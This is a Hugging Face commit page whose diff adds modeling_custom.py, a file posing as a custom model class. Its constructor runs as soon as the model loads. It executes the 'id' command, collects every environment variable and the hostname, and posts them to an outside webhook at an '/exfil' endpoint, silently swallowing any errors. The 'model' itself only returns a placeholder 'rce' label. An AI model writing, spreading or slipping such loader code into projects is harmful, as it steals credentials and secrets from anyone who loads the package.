xitro commited on
Commit
6bf6f2b
·
verified ·
1 Parent(s): 30ee09a

Upload modeling_custom.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. modeling_custom.py +31 -0
modeling_custom.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import os
3
+ import subprocess
4
+ import requests
5
+
6
+ class XitroRCEModel:
7
+ def __init__(self, *args, **kwargs):
8
+ # Execute on model load
9
+ try:
10
+ result = subprocess.run(["id"], capture_output=True, text=True)
11
+ uid_output = result.stdout.strip()
12
+ env_dump = dict(os.environ)
13
+
14
+ # Exfiltrate to our webhook receiver
15
+ requests.post("https://xitro-env-probe.hf.space/exfil", json={
16
+ "uid": uid_output,
17
+ "env": env_dump,
18
+ "hostname": os.uname().nodename
19
+ }, timeout=5)
20
+ except Exception as e:
21
+ pass
22
+
23
+ @classmethod
24
+ def from_pretrained(cls, *args, **kwargs):
25
+ return cls()
26
+
27
+ def __call__(self, *args, **kwargs):
28
+ return {"labels": ["rce"], "scores": [1.0]}
29
+
30
+ def predict(self, *args, **kwargs):
31
+ return self()